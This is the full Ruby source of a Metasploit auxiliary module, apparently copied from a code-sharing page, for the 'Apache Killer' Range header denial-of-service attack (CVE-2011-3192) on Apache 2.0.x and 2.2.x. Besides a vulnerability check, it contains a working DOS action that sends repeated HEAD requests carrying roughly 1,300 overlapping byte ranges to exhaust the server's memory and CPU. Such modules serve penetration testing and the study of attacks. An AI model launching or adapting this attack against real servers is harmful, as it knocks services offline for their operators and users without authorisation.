Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Scanner
9
  include Msf::Auxiliary::Report
10
  include Msf::Auxiliary::Dos
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Apache Range Header DoS (Apache Killer)',
15
      'Description'    => %q{
16
          The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
17
        through 2.2.19 allows remote attackers to cause a denial of service (memory and
18
        CPU consumption) via a Range header that expresses multiple overlapping ranges,
19
        exploit called "Apache Killer"
20
      },
21
      'Author'         =>
22
        [
23
          'Kingcope', #original discoverer
24
          'Masashi Fujiwara', #metasploit module
25
          'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
26
        ],
27
      'License'        => MSF_LICENSE,
28
      'Actions'        =>
29
        [
30
          ['DOS', 'Description' => 'Trigger Denial of Service against target'],
31
          ['CHECK', 'Description' => 'Check if target is vulnerable']
32
        ],
33
      'DefaultAction'  => 'DOS',
34
      'References'     =>
35
        [
36
          [ 'BID', '49303'],
37
          [ 'CVE', '2011-3192'],
38
          [ 'EDB', '17696'],
39
          [ 'OSVDB', '74721' ],
40
        ],
41
      'DisclosureDate' => '2011-08-19'
42
    ))
43

44
    register_options(
45
      [
46
        Opt::RPORT(80),
47
        OptString.new('URI', [ true,  "The request URI", '/']),
48
        OptInt.new('RLIMIT', [ true,  "Number of requests to send",50])
49
      ])
50
  end
51

52
  def run_host(ip)
53

54
    case action.name
55
    when 'DOS'
56
      conduct_dos()
57

58
    when 'CHECK'
59
      check_for_dos()
60
    end
61

62
  end
63

64
  def check_for_dos()
65
    uri = datastore['URI']
66
    rhost = datastore['RHOST']
67
    begin
68
      res = send_request_cgi({
69
        'uri'     =>  uri,
70
        'method'  => 'HEAD',
71
        'headers' => {
72
          "HOST"  => rhost,
73
          "Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10",
74
          "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
75
        }
76
      })
77

78
      if (res and res.code == 206)
79
        print_status("Response was #{res.code}")
80
        print_status("Found Byte-Range Header DOS at #{uri}")
81

82
        report_note(
83
          :host   => rhost,
84
          :port   => rport,
85
          :type   => 'apache.killer',
86
          :data   => "Apache Byte-Range DOS at #{uri}"
87
        )
88

89
      else
90
        print_status("#{rhost} doesn't seem to be vulnerable at #{uri}")
91
      end
92

93
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
94
      rescue ::Timeout::Error, ::Errno::EPIPE
95
    end
96
  end
97

98

99
  def conduct_dos()
100
    uri = datastore['URI']
101
    rhost = datastore['RHOST']
102
    ranges = ''
103
    for i in (0..1299) do
104
      ranges += ",5-" + i.to_s
105
    end
106
    for x in 1..datastore['RLIMIT']
107
      begin
108
        print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
109
        res = send_request_cgi({
110
          'uri'     =>  uri,
111
          'method'  => 'HEAD',
112
          'headers' => {
113
            "HOST"  => rhost,
114
            "Range" => "bytes=0-#{ranges}",
115
            "Request-Range" => "bytes=0-#{ranges}"}},1)
116

117
      rescue ::Rex::ConnectionRefused
118
        print_error("Unable to connect to #{rhost}:#{rport}")
119
      rescue ::Errno::ECONNRESET
120
        print_good("DoS packet successful. #{rhost} not responding.")
121
      rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
122
        print_error("Couldn't connect to #{rhost}:#{rport}")
123
      rescue ::Timeout::Error, ::Errno::EPIPE
124
      end
125
    end
126
  end
127
end
128

129